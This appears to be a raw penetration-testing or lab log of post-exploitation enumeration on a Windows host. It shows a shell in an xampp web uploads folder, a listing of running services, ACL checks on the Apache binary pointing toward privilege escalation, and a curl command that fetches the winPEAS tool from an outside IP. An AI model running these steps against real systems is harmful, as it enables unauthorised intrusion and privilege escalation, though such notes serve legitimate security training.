Eunermation

Directory: C:\


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        5/28/2021   4:20 AM                PerfLogs                                                              
d-r---        5/28/2021   6:06 AM                Program Files                                                         
d-----        5/28/2021   3:53 AM                Program Files (x86)                                                   
d-r---         4/8/2022   2:40 AM                Users                                                                 
d-----         4/8/2022   2:11 AM                Windows                                                               
d-----        5/28/2021   6:04 AM                Windows10Upgrade                                                      
d-----         4/8/2022   2:36 AM                xampp                                                                 
-a----        8/23/2024  10:15 AM           2701 output.txt  

PS C:\xampp\htdocs\uploads> Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

Name                   State   PathName                                                                         
----                   -----   --------                                                                         
ADWS                   Running C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe                        
ApacheHTTPServer       Running "C:\Xampp\apache\bin\httpd.exe" -k runservice  

PS C:\xampp\htdocs\uploads> icacls C:\Xampp\apache\bin\httpd.exe
icacls C:\Xampp\apache\bin\httpd.exe
C:\Xampp\apache\bin\httpd.exe ACCESS\svc_apache:(I)(F)
                              NT AUTHORITY\SYSTEM:(I)(F)
                              BUILTIN\Administrators:(I)(F)
                              BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

PS C:\programdata> curl 192.168.45.169/winPEASx64.exe -o winPEASx64.exe